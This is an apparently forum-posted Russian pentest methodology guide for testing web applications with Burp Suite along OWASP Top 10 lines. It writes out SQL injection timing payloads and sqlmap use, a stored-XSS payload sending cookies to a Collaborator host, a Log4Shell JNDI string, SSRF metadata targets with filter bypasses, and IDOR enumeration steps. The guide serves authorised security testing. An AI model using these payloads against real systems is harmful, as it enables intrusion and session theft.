За последние пятьдесят с лишним проектов я выработал простое правило: если полагаешься только на автоматический сканер - пропустишь минимум треть критических находок. Burp Suite Scanner отлично справляется с reflected XSS в GET-параметрах и простейшими SQL-инъекциями. Но IDOR в API-эндпоинтах, SSRF через внутренние сервисы, логические ошибки в бизнес-процессах - всё это, он не найдёт. Потому что не понимает, что видит. Пентест веб-приложений - это в первую очередь методология ручного тестирования, а инструменты лишь ускоряют работу.
Дальше - конкретика: как системно тестировать веб-приложение по категориям OWASP Top 10 2021, используя Burp Suite как центральный инструмент. Не абстрактные списки уязвимостей, а какой запрос отправить, какой ответ ожидать и как отличить ложное срабатывание от реальной дыры.Статья записана со слов моего коллеги.
Требования к окружению
Прежде чем начинать тестирование безопасности веб-приложений, убедитесь, что рабочая станция готова:- Kali Linux 2024.x или любой Linux/macOS/Windows с Java Runtime
- Burp Suite Community Edition (бесплатно) или Professional - рекомендую Pro, иначе Intruder будет ползти как черепаха. Версия 2024.x или новее
ffufv2.x для фаззинга директорий,sqlmapv1.8+ для подтверждения SQL-инъекций,nucleiv3.x с актуальными шаблонами для проверки known-CVE- Firefox с прокси на
127.0.0.1:8080и установленным сертификатом Burp CA - Стабильное соединение с целевым приложением, подписанный scope of work и разрешение на тестирование
Веб пентест методология: от разведки до отчёта
Русскоязычные руководства обычно перечисляют этапы «разведка, сканирование, эксплуатация, отчёт» - и на этом заканчиваются. На практике между этапами нет чёткой границы: ты постоянно возвращаешься из фазы эксплуатации обратно в разведку, когда находишь новый эндпоинт или роль пользователя. Структура OWASP Testing Guide даёт рабочий каркас, но живой пентест - это петля, а не прямая линия.Фаза 1: Маппинг приложения через Burp Proxy
Первое, что я делаю на каждом проекте - включаю Burp Proxy и прохожу приложение как обычный пользователь. Регистрация, логин, все основные функции, профиль, смена пароля, загрузка файлов, взаимодействие с API. Цель - собрать полный Site Map.После ручного обхода запускаю фаззинг скрытых эндпоинтов:
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403. Статус 403 тут - подарок: ресурс существует, но закрыт. Кандидат на тестирование Broken Access Control.Параллельно смотрю заголовки ответов.
Server, X-Powered-By, X-AspNet-Version сливают стек технологий. Это критично - OS Command Injection тестируется по-разному для Linux и Windows серверов.В терминологии MITRE ATT&CK это Vulnerability Scanning (T1595.002, Reconnaissance). Пентестер имитирует атакующего, который ищет точки входа в публично доступное приложение.
Фаза 2: Систематическое тестирование по OWASP Top 10
Вместо хаотичного тыканья в параметры я прохожу по каждой категории OWASP Top 10 2021 как по чек-листу. Ниже - категории, которые дают наибольший выхлоп на реальных проектах.Фаза 3: Документирование и отчёт
Каждую находку фиксирую сразу: скриншот Burp Repeater с запросом и ответом, описание импакта, рекомендация по исправлению. Если оставить это на конец проекта - половину контекста забудешь. Проверено на собственной шкуре.Broken Access Control: поиск IDOR в Burp Repeater
По OWASP, Broken Access Control (A01:2021) - категория номер один: 94% приложений тестировались на CWE из этой категории, средняя incidence rate - 3.81%. Например у меня, IDOR (Insecure Direct Object Reference) всплывает практически в каждом втором проекте.Методика проста. Создаю два аккаунта с разными ролями. Перехватываю в Burp запрос от пользователя A - допустим,
GET /api/v1/orders/1337 - и отправляю в Repeater. Меняю cookie или токен Authorization на принадлежащий пользователю B. Отправляю повторно. Если в ответе приходят данные заказа 1337, хотя пользователь B не имеет к нему отношения - IDOR.Почему сканер это пропускает: он не понимает бизнес-логику. Для него ответ 200 OK с JSON-данными - нормальное поведение. Только человек может определить, что пользователь B не должен видеть эти данные.
Расширяю тестирование: в Burp Intruder подставляю последовательность ID (от
1 до 10000) и анализирую ответы по длине. Резкое отличие в размере для определённых ID часто указывает на объекты других пользователей. Эта атака соответствует технике Exploit Public-Facing Application (T1190, Initial Access) по MITRE ATT&CK.Оговорка: перебор ID работает только при предсказуемых идентификаторах (числовых, последовательных). Если приложение использует UUID v4, brute-force бесполезен - нужно искать утечки UUID в других эндпоинтах: списки, логи, публичные профили. Об этом подробнее в конце статьи.
SQL injection пентест: от подозрения до подтверждения
Injection (A03:2021) держится в тройке не просто так. По OWASP, приложение уязвимо к инъекции, когда пользовательский ввод не валидируется, не фильтруется и не санитизируется. SQL, NoSQL, OS, LDAP - разновидностей хватает.Мой подход в Burp Repeater: беру каждый параметр, который попадает в серверную обработку, и отправляю маркерный пейлоад. Не
' OR 1=1 -- - это учебный пример, который давно ловит любой WAF. Вместо этого использую тайм-бейзд подход, выбирая пейлоад в зависимости от СУБД (определяется предварительным fingerprinting): ' AND SLEEP(5)-- для MySQL/MariaDB, ' AND pg_sleep(5)-- для PostgreSQL, '; WAITFOR DELAY '0:0:5'-- для MSSQL (требует контекста, допускающего stacked queries), ' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- для Oracle. Если ответ приходит с задержкой ровно 5 секунд - инъекция подтверждена, даже когда в теле ответа нет видимой разницы.
Код:
GET /search?category=electronics'%20AND%20SLEEP(5)--%20 HTTP/1.1
Host: target.com
Cookie: session=abc123
--- Ожидаемый результат при наличии SQLi ---
Response Time: ~5000ms (вместо обычных ~200ms)
HTTP/1.1 200 OK
sqlmap -u "https://target.com/search?category=test" --cookie="session=abc123" --technique=T --dbms=mysql. Флаг --technique=T ограничивает sqlmap только тайм-бейзд методом, чтобы минимизировать шум в логах.Тайм-бейзд инъекции дают ложноположительные результаты при нестабильном соединении или нагруженном сервере. Всегда отправляйте контрольный запрос без пейлоада и сравнивайте время ответа. Если базовое время отклика прыгает от 200ms до 3 секунд - тайминг-тест ненадёжен, переключайтесь на error-based или union-based подходы.
XSS уязвимость: практика за пределами alert(1)
XSS как подкатегория инъекций заслуживает отдельного разговора - это наиболее частая находка на проектах. По MITRE ATT&CK, эксплуатация XSS для кражи сессионных cookie - это Steal Web Session Cookie (T1539, Credential Access), а для перехвата сессий браузера - Browser Session Hijacking (T1185, Collection).Burp Suite Scanner неплохо находит reflected XSS в простых случаях. А вот stored XSS в полях профиля, комментариях или загружаемых файлах он часто пропускает - для этого нужно понимать, где именно сохранённые данные рендерятся.
Практический пример: нахожу поле «Имя пользователя» в профиле. Ввожу
<img src=x onerror=fetch('https://collaborator.burp/'+document.cookie)> и сохраняю. Затем открываю страницу, где это имя отображается другим пользователям - список комментариев, панель администратора. Если Burp Collaborator получает DNS-запрос и HTTP-запрос с cookie - stored XSS подтверждён.По исследованию PortSwigger (Top 10 web hacking techniques of 2024), тема мутационных XSS (mXSS) через обход DOMPurify активно развивается. Исследователь Mizu показал, что даже DOMPurify - по сути единственная реально работающая библиотека HTML-санитизации - уязвима к атакам через namespace confusion и особенности парсинга HTML в браузерах. Наличие санитайзера не гарантирует безопасность. Тестировать XSS нужно даже при видимой фильтрации.
Перед попытками эксплуатации проверяйте CSP-заголовок - строгий CSP с
script-src 'self' без unsafe-inline блокирует большинство XSS-пейлоадов.Vulnerable and Outdated Components: CVE-2021-44228 как эталон
Категория A06:2021 (Vulnerable and Outdated Components) - территория, где автоматика реально помогает. Nuclei с актуальными шаблонами закрывает эту задачу быстрее ручного тестирования.Показательный кейс - CVE-2021-44228 (Log4Shell) в Apache Log4j2. CVSS 10.0 (CRITICAL), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - атака по сети, низкая сложность, привилегии не нужны, взаимодействие пользователя не требуется, полный импакт на конфиденциальность, целостность и доступность. Уязвимость связана с CWE-20 (некорректная валидация ввода), CWE-400 (неконтролируемое потребление ресурсов), CWE-502 (десериализация недоверенных данных), CWE-917 (инъекция в серверный expression language). По данным EPSS (FIRST.org), CVE-2021-44228 стабильно входит в Top 1% всех CVE по EPSS percentile (score на момент публикации превышал 0.9). Уязвимость активно эксплуатируется в дикой природе с 10 декабря 2021 года и включена в CISA KEV с пометкой RANSOMWARE.
Для проверки конкретного приложения хватает
nuclei -u https://target.com -t http/cves/2021/CVE-2021-44228.yaml, но на практике я проверяю все JNDI-инъекционные точки вручную через Burp: подставляю ${jndi:ldap://COLLABORATOR/test} в заголовки User-Agent, X-Forwarded-For, Referer и в параметры форм. Если Burp Collaborator фиксирует DNS-lookup - приложение уязвимо.Другой свежий пример - CVE-2024-4367 в PDF.js (CVSS 8.8, HIGH). Отсутствие проверки типов при обработке шрифтов (CWE-754) позволяет выполнить произвольный JavaScript в контексте PDF.js. Затронуты Firefox до 126, Firefox ESR до 115.11, Thunderbird до 115.11, а также npm-пакет
pdfjs-dist до версии 4.2.67. Как отмечает PortSwigger, PDF.js широко встраивается как библиотека, что делает вторичный импакт огромным и трудно предсказуемым. Если целевое приложение тянет pdfjs-dist - проверяйте версию.SSRF и логические уязвимости: территория ручного пентеста
SSRF (Server-Side Request Forgery) - яркий представитель уязвимостей, которые автоматический сканер практически никогда не находит. Приложение принимает URL от пользователя (импорт аватара по ссылке, предпросмотр веб-страницы, загрузка данных по API) и делает запрос на стороне сервера. Подставляя внутренние адреса -http://169.254.169.254/latest/meta-data/ для AWS, http://127.0.0.1:6379/ для Redis - атакующий добирается до внутренней инфраструктуры.В Burp это тестируется через Repeater: находите параметр, принимающий URL, и последовательно подставляете внутренние адреса. Разница в ответе (время, размер, код статуса) между внешним URL и внутренним указывает на SSRF. Для blind-SSRF используйте Burp Collaborator - подставьте его домен и отслеживайте входящие запросы.
SSRF через
http://127.0.0.1 ловится даже базовыми фильтрами. Современные приложения часто блокируют приватные диапазоны IP. Обходы: DNS rebinding, IPv6-нотация (http://[::1]/), десятичная запись (http://2130706433/ = 127.0.0.1), редиректы через внешний сервер. Но каждый обход работает только в контексте конкретной реализации фильтра - универсального рецепта нет. На одном проекте я полчаса перебирал нотации, пока не сработал банальный редирект через свой VPS.Маппинг веб-атак на MITRE ATT&CK
Отчёты для клиентов становятся убедительнее, когда каждая находка привязана к MITRE ATT&CK. Вот маппинг основных классов веб-уязвимостей:| Класс уязвимости | MITRE ATT&CK техника | Тактика |
|---|---|---|
| SQL Injection, RCE, SSRF | Exploit Public-Facing Application (T1190) | Initial Access |
| XSS для кражи cookie | Steal Web Session Cookie (T1539) | Credential Access |
| Brute force аутентификации | Brute Force (T1110) | Credential Access |
| Загрузка веб-шелла | Web Shell (T1505.003) | Persistence |
| XSS для перехвата сессий | Browser Session Hijacking (T1185) | Collection |
| Утечка конфигов/credentials | Credentials In Files (T1552.001) | Credential Access |
Такая привязка помогает не только в отчёте, но и при приоритизации: находка из тактики Initial Access всегда критичнее, чем из Collection, при прочих равных.
Когда Burp Suite обучение превращается в реальный навык
Разница между лабораторным и реальным пентестом - в объёме шума. В PortSwigger Web Academy уязвимый параметр один, и ты знаешь, что он есть. На реальном проекте приложение содержит сотни эндпоинтов, тысячи параметров, и большинство из них не уязвимы. Это как искать иголку в стоге сена, где 99% иголок - тупые.Навык формируется через рутину: каждый HTTP-запрос в Burp History просматривать, отмечать параметры, которые попадают в серверную обработку (не только GET/POST, но и заголовки, cookie, JSON-поля), и методично тестировать каждый. Для ускорения я использую расширение Logger++ с фильтрами по content-type и размеру ответа - быстро отсеиваешь статику и фокусируешься на динамических эндпоинтах.
Код:
# Быстрая проверка скрытых эндпоинтов после маппинга
ffuf -u https://target.com/api/v1/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-H "Authorization: Bearer TOKEN" \
-mc 200,201,403 -fs 0
Контекст реальных утечек и масштаб проблемы
Зачем всё это нужно - вопрос риторический, но цифры отрезвляют. По данным Have I Been Pwned, утечка LinkedIn произошла в мае 2012 года, но реальный масштаб - 164 611 595 учётных записей (email и пароли) - стал известен только в мае 2016-го, когда данные всплыли в открытом доступе. Комбинированный список Exploit.In (2016) - около 593 млн уникальных email-адресов по данным HIBP. Утечка онлайн-кинотеатра START - миллионы записей, включая email и пароли. Каждая из этих утечек стала возможна из-за уязвимостей, которые можно было обнаружить на этапе пентеста.Практические ограничения техник
Несколько оговорок, которые стоит держать в голове:- Тайминг-атаки (time-based SQLi, race conditions) ненадёжны при тестировании через VPN или нестабильное соединение. Базовый jitter сети может превышать задержку от пейлоада. Работайте из сети с предсказуемой латентностью
- Активное сканирование Burp Suite на продакшн-системах может положить производительность. Всегда согласовывайте окно тестирования и rate limiting с заказчиком - иначе вместо отчёта будете писать объяснительную
- WAF-обходы (encoding, case switching, comment injection) работают для конкретных версий конкретных WAF. Обход, работающий на ModSecurity CRS 3.x, не работает на Cloudflare. Универсального WAF-байпаса не существует
- SSRF-тестирование в облачной инфраструктуре (AWS/GCP) требует проверки Instance Metadata Service v2 (IMDSv2), который требует предварительного PUT-запроса с токеном. Классический SSRF на
http://169.254.169.254/работает только при IMDSv1
Вопрос к читателям
При тестировании Broken Access Control через Burp Intruder - какую стратегию перебора IDOR вы используете на проектах с UUID v4 в качестве идентификаторов объектов? Sequential brute-force бесполезен, но UUID часто утекают через другие эндпоинты. Поделитесь конкретным pipeline: какие эндпоинты парсите первыми для сбора UUID (/api/v1/users?page=1, response headers, WebSocket-фреймы), и используете ли Burp-расширения вроде Param Miner или Auth Analyzer для автоматизации?
Последнее редактирование модератором: